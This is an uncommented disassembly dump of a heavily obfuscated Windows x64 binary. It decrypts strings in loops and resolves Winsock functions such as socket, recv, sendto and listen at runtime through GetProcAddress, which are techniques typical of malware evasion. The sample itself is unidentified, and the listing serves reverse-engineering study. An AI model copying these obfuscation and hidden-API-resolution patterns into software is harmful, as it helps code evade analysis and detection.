sub dil, 0x70
jmp 0x14006b891
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006aef6
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14006aef6
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006b808
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14006b8f8
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14006b8f5
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006b933
add r9b, 0x24
movzx eax, r9b
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006b964
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006aef6
add r9b, 0x2e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x42
mov byte [rbp + r11 + 0x2f0], dil
inc r11
jmp 0x14006aef6
lea ecx, [r9 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
cmp r8, 0x28
jb 0x14006b345
lea edx, [r9 - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 8]
jmp 0x14006b891
lea ecx, [r9 - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6a
cmp rbx, 0xa
jae 0x14006b78b
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x14006b6fb
lea edx, [r9 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006b36b
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
lea rax, [r8 + rbx]
cmp rax, 6
je 0x14006b7a3
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14006b655
lea edx, [r9 - 0xe]
movzx eax, dl
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006b3a8
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006aef6
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
jmp 0x14006b964
lea ecx, [r9 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x14006b936
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x14006b8f8
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
add rbx, r8
jmp 0x14006b8f8
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x14006b808
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14006aef6
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006aef6
lea edx, [r9 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006b891
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x14006b57d
lea edx, [r9 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006b3f1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006b5b5
sub r9b, 0x3c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5c
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006aef6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006b5db
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x14006b964
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006b601
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14006b8f8
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006b629
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006b808
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006b3f1
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006b891
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006b67d
lea edx, [r9 - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006b891
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006b6a9
add r9b, 0xe
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x62
dec r11
inc r11
jmp 0x14006aef6
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006b6cf
add r9b, 0x2a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x26
jmp 0x14006b8f8
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006b3a8
lea edx, [r9 - 0x22]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x12
add dil, dl
jmp 0x14006b936
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006b736
sub r9b, 0x78
movzx eax, r10b
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006aef6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006b75e
lea edx, [r9 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006b936
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006b36b
add r9b, 0x58
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x68
add rbx, r8
jmp 0x14006b8f8
lea edx, [r9 - 0x70]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 8
lea edi, [rcx + rcx]
jmp 0x14006b805
lea edx, [r9 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006b936
add r9b, 0x36
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7a
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006aef6
lea edx, [r9 - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add r9b, 0x6a
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
add cl, r9b
mov byte [rbp + r11 + 0x2f0], cl
add rbx, r8
jmp 0x14006b8f8
sub r9b, 2
movzx eax, r10b
and al, r9b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x14006aef6
lea edx, [r9 - 0x6a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1a
add dil, dl
jmp 0x14006b891
movzx r9d, r11b
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
sub r9b, 0x4a
movzx eax, r10b
and al, r9b
mov ecx, 3
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x2f0], cl
inc r8
dec r11
inc r11
jmp 0x14006aef6
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x14006b8f8
lea rax, [r11 + r15]
and sil, al
mov ecx, 0x2d
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006aef6
movabs rax, 0xe6ebf0a279c3c1f6
add rax, r11
and sil, al
mov ecx, 0x23
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
movzx r9d, r11b
add dil, r10b
add r9b, 0x1e
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x2f0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x2f0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006aef6
lea rcx, [r11 + r13]
and sil, cl
mov eax, reloc.WS2_32.dll_ntohs
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006aef6
add r9b, 0x42
movzx eax, r10b
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006aef3
sub r9b, 0x72
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006aee3
lea rdx, [rbp + 0x177c568]
jmp 0x14006ba33
lea rdx, [rbp + 0x6f2a42]
jmp 0x14006ba33
lea rdx, [rbp + 0x2f0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x78], rax
mov byte [rbp + 0xc0], WSAStartup
mov byte [rbp + 0xc1], 0x4e
mov byte [rbp + 0xc2], 0x54
mov byte [rbp + 0xc3], 0x46
mov byte [rbp + 0xc4], 0x7b
mov byte [rbp + 0xc5], 0x4c
mov byte [rbp + 0xc6], 0x40
mov byte [rbp + 0xc7], 0x4b
mov byte [rbp + 0xc8], 0x47
mov byte [rbp + 0xc9], 0x5e
mov byte [rbp + 0xca], 0xd2
xor eax, eax
mov qword [rbp + 0xcb], rax
movabs r13, 0xb7c26c0cccce55e4
movzx edi, byte [rbp + 0x400]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
xor r15d, r15d
cmp r15, 0x13
jae 0x14006c583
movzx r14d, byte [rbp + r15 + 0xc0]
mov r12d, r14d
nop dword [rax]
cmp rbx, r15
ja 0x14006c57a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006bb0c
lea rcx, [r15 + r13]
mov rax, r12
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r12
add rdi, rcx
sub dil, 0x3c
jmp 0x14006bb53
je 0x14006c4fc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006c468
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006c432
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006c3f2
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006c3cd
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006c3a5
movzx r11d, r15b
nop word [rax + rax]
movzx esi, r11b
cmp r8, r15
ja 0x14006c571
lea r10, [r8 + 2]
lea r9, [r8 + 1]
cmp rbx, r10
jae 0x14006bb96
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r14b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r14b
jmp 0x14006bbd0
cmp rbx, r9
je 0x14006c363
cmp rbx, r10
je 0x14006c340
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006c320
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006c306
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006c2e6
nop
lea rax, [r8 + rbx]
cmp rax, r15
jbe 0x14006c04c
nop dword [rax]
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14006c02c
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14006c006
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006bfe0
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14006bfc3
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006bfa6
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006bf89
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006bf6c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006bf4f
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14006c551
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14006c534
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14006bd5a
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006bd3f
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14006bf05
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006bebc
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006be7c
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006be54
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x42]
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006be37
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14006be1a
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14006bdfd
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14006bde0
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14006bdc0
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006bd97
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006bd7a
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14006bbe0
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 4]
jmp 0x14006bbe0
lea ecx, [r11 + 4]
movzx eax, cl
and al, r14b
add al, al
sub cl, al
lea edi, [r14 + rcx]
sub dil, 0x1c
jmp 0x14006bb60
add r11b, 0x3c
movzx eax, r11b
and al, r14b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r14b
jmp 0x14006bae0
sub r11b, 0x60
movzx eax, r11b
and al, r14b
add al, al
sub r11b, al
lea edi, [r14 + r11]
sub dil, 0x60
jmp 0x14006c378
sub r11b, 0x28
movzx eax, r11b
and al, r14b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r14b
inc r8
dec r15
inc r15
jmp 0x14006bac3
add r11b, 0x48
movzx eax, r11b
and al, r14b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r14b
jmp 0x14006c40b
sub r11b, 0x48
movzx eax, r11b
and al, r14b
add al, al
sub r11b, al
lea edi, [r14 + r11]
sub dil, 8
jmp 0x14006c44f
sub r11b, 0x10
movzx eax, r11b
and al, r14b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
jmp 0x14006c48a
add r11b, 0x28
movzx eax, r11b
and al, r14b
add al, al
sub r11b, al
lea edi, [r14 + r11]
sub dil, 0x18
jmp 0x14006c4b9
add r11b, 0x60
movzx eax, r11b
and al, r14b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
jmp 0x14006c51a
sub r11b, 0x14
movzx eax, r11b
and al, r14b
add al, al
sub r11b, al
lea edi, [r14 + r11]
sub dil, 0x74
mov byte [rbp + r15 + 0xc0], dil
inc r15
jmp 0x14006bac3
add r11b, 0x24
movzx eax, r11b
and al, r14b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r14b
cmp r8, 4
jb 0x14006be6c
lea ecx, [rsi - 0x28]
movzx eax, cl
and al, r14b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r14b
lea edi, [rdx + rdx]
jmp 0x14006c378
add r11b, 0x5c
movzx eax, r11b
and al, r14b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r14b
cmp rbx, 0x42
jae 0x14006c2aa
lea rax, [r8 + 3]
cmp rbx, rax
jbe 0x14006c1f0
lea ecx, [rsi + 8]
movzx eax, cl
and al, r14b
add al, al
sub cl, al
lea edi, [r14 + rcx]
sub dil, 0x38
jmp 0x14006be97
sub r11b, 0x6c
movzx eax, r11b
and al, r14b
add al, al
sub r11b, al
lea edi, [r14 + r11]
sub dil, 0xc
lea rax, [r8 + rbx]
cmp rax, 0x5a
je 0x14006c2cb
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x14006c126
lea ecx, [rsi + 0x54]
movzx eax, cl
and al, r14b
add al, al
sub cl, al
lea edi, [r14 + rcx]
sub dil, 0x4c
jmp 0x14006bed7
add r11b, 0x38
movzx eax, r11b
and al, r14b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
jmp 0x14006c51a
sub r11b, 0x58
movzx eax, r11b
and al, r14b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
jmp 0x14006c48a
sub r11b, 0x20
movzx eax, r11b
and al, r14b
add al, al
sub r11b, al
lea edi, [r14 + r11]
sub dil, 0x20
jmp 0x14006c44f
add r11b, 0x18
movzx eax, r11b
and al, r14b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
jmp 0x14006c449
add r11b, 0x50
movzx eax, r11b
and al, r14b
add al, al
sub r11b, al
lea edi, [r14 + r11]
sub dil, 0x30
jmp 0x14006c40b
sub r11b, 0x78
movzx eax, r11b
and al, r14b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r14b
dec r15
inc r15
jmp 0x14006bac3
sub r11b, 0x40
movzx eax, r11b
and al, r14b
add al, al
sub r11b, al
lea edi, [r14 + r11]
sub dil, 0x40
inc r8
dec r15
inc r15
jmp 0x14006bac3
sub r11b, 8
movzx eax, r11b
and al, r14b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r14b
jmp 0x14006c378
lea rax, [r8 + 3]
cmp rbx, rax
jae 0x14006c072
sub r11b, 0x1c
movzx eax, r11b
and al, r14b
add al, al
sub r11b, al
lea edi, [r14 + r11]
sub dil, 0x3c
jmp 0x14006bf1d
cmp rbx, r9
jne 0x14006c094
add sil, 0x68
movzx eax, sil
and al, r14b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
jmp 0x14006c51a
cmp rbx, r10
jne 0x14006c0b6
sub sil, 0x40
movzx eax, sil
and al, r14b
add al, al
sub sil, al
lea edi, [r14 + rsi]
sub dil, 0x40
jmp 0x14006c44f
cmp rbx, rax
jne 0x14006c0d8
sub sil, 0x78
movzx eax, sil
and al, r14b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
jmp 0x14006c449
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006c0fb
lea ecx, [rsi + 0x50]
movzx eax, cl
and al, r14b
add al, al
sub cl, al
lea edi, [r14 + rcx]
sub dil, 0x30
jmp 0x14006c40b
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006bf1d
lea edx, [rsi - 0x58]
movzx eax, dl
and al, r14b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r14b
jmp 0x14006c378
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006c14d
lea edx, [rsi + 0x1c]
movzx eax, dl
and al, r14b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r14b
jmp 0x14006c378
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006c17c
sub sil, 0x1c
movzx eax, sil
and al, r14b
add al, al
sub sil, al
lea edi, [r14 + rsi]
sub dil, 0x3c
inc r8
dec r15
inc r15
jmp 0x14006bac3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006c1a2
add sil, 4
movzx eax, sil
and al, r14b
add al, al
sub sil, al
lea edi, [r14 + rsi]
sub dil, 0x1c
jmp 0x14006c44f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006c1c6
lea edx, [rsi - 0x34]
movzx eax, dl
and al, r14b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006c48a
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006bed7
add sil, 0x5c
movzx eax, sil
and al, r14b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
jmp 0x14006c51a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006c216
sub sil, 0x30
movzx eax, sil
and al, r14b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
jmp 0x14006c51a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006c23a
lea edx, [rsi + 0x60]
movzx eax, dl
and al, r14b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006c48a
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006c260
sub sil, 0x10
movzx eax, sil
and al, r14b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
jmp 0x14006c449
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006c283
lea ecx, [rsi - 0x48]
movzx eax, cl
and al, r14b
add al, al
sub cl, al
lea edi, [r14 + rcx]
sub dil, 8
jmp 0x14006c40b
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006be97
lea ecx, [rsi + 0x10]
movzx eax, cl
and al, r14b
add al, al
sub cl, al
lea edi, [r14 + rcx]
sub dil, 0x70
jmp 0x14006c378
lea edx, [rsi - 0x60]
movzx eax, dl
and al, r14b
add al, al
movzx edi, r14b
sub dil, al
sub dil, 0x60
add dil, dl
add dil, r14b
jmp 0x14006c40b
lea edx, [rsi + 0x68]
movzx eax, dl
and al, r14b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006c48d
sub sil, 0xc
movzx eax, sil
and al, r14b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r14b
jmp 0x14006c4b9
lea ecx, [rsi + 0x2c]
movzx eax, cl
and al, r14b
add al, al
sub cl, al
lea edi, [r14 + rcx]
sub dil, 0x34
jmp 0x14006c48d
add sil, 0x64
movzx eax, sil
and al, r14b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r14b
jmp 0x14006c44f
add sil, 0xc
movzx eax, sil
and al, r14b
add al, al
sub sil, al
lea edi, [r14 + rsi]
sub dil, 0x54
dec r15
inc r15
jmp 0x14006bac3
lea ecx, [rsi + 0x7c]
movzx eax, cl
and al, r14b
add al, al
sub cl, al
lea edi, [r14 + rcx]
sub dil, 0x64
sub sil, 0x44
movzx eax, sil
and al, r14b
add al, al
sub sil, al
sub sil, 0x24
add sil, r14b
mov byte [rbp + r15 + 0xc0], sil
inc r8
dec r15
inc r15
jmp 0x14006bac3
lea edx, [r15 + 0x24]
movzx eax, dl
and al, r14b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r14b
inc r8
dec r15
inc r15
jmp 0x14006bac3
lea edx, [r15 + 0x5c]
movzx eax, dl
and al, r14b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r14b
dec r15
inc r15
jmp 0x14006bac3
movzx esi, r15b
lea ecx, [rsi - 0x6c]
movzx eax, cl
and al, r14b
add al, al
sub cl, al
lea edi, [r14 + rcx]
sub dil, 0xc
sub sil, 0x7c
movzx eax, sil
and al, r14b
mov ecx, 0x32
sub cl, al
add cl, cl
add cl, sil
add cl, dil
add cl, r14b
mov byte [rbp + r15 + 0xc0], cl
jmp 0x14006c44c
lea edx, [r15 - 0x34]
movzx eax, dl
and al, r14b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r14b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r15, rcx
inc r15
jmp 0x14006bac3
movabs rax, 0x650f45999a4593c
add rax, r15
and r12b, al
mov ecx, 0x2e
sub cl, r12b
lea edi, [rcx + rcx]
add dil, al
movzx esi, r15b
add dil, r14b
add sil, 0x4c
movzx eax, sil
and al, r14b
add al, al
sub sil, al
sub sil, 0x14
add sil, r14b
movzx eax, sil
mov byte [rbp + r15 + 0xc0], al
inc r8
add rax, r8
sub r15, rax
lea ecx, [r15 + 0x30]
movzx eax, cl
and al, r14b
add al, al
sub cl, al
sub cl, 0x50
add cl, r14b
mov byte [rbp + r15 + 0xc0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r15, rax
movzx eax, byte [rbp + r15 + 0xc0]
add rax, r8
add r15, rax
inc r15
jmp 0x14006bac3
movabs rax, 0x27474426666b01ac
add rax, r15
and r12b, al
mov ecx, 0x26
sub cl, r12b
lea edi, [rcx + rcx]
add dil, al
add dil, r14b
movzx eax, byte [rbp + r15 + 0xc0]
add rax, r8
add r15, rax
inc r15
jmp 0x14006bac3
add sil, 0x74
movzx eax, sil
and al, r14b
add al, al
sub sil, al
lea edi, [r14 + rsi]
sub dil, 0x2c
jmp 0x14006bac0
sub sil, 0x54
movzx eax, sil
and al, r14b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r14b
jmp 0x14006baa7
lea rdx, [rbp + 0x161b5f0]
jmp 0x14006c58a
lea rdx, [rbp + 0x1300bd4]
jmp 0x14006c58a
lea rdx, [rbp + 0xc0]
mov r12, qword [rbp + 0x408]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x70], rax
mov byte [rbp + 0xe0], 0xe0
mov byte [rbp + 0xe1], __WSAFDIsSet
mov byte [rbp + 0xe2], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xe3], 0x88
mov byte [rbp + 0xe4], 0xe9
mov byte [rbp + 0xe5], 0x90
mov byte [rbp + 0xe6], 0x85
mov byte [rbp + 0xe7], 0x84
mov byte [rbp + 0xe8], 0xa9
mov byte [rbp + 0xe9], 0xae
mov byte [rbp + 0xea], 0xaf
mov byte [rbp + 0xeb], 0xca
mov byte [rbp + 0xec], select
xor eax, eax
mov qword [rbp + 0xed], rax
movabs r14, 0xfe5459ea5e07dd8
movabs r13, 0x6f44e756892370e8
movabs r15, 0x2fafd0dbf1a17988
movzx edi, byte [rbp + 0x400]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x15
jae 0x14006d174
movzx r10d, byte [rbp + r11 + 0xe0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14006d16b
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006c68c
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
add dil, 0x18
jmp 0x14006c6b9
je 0x14006d0f3
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006d062
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006d004
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006cfdf
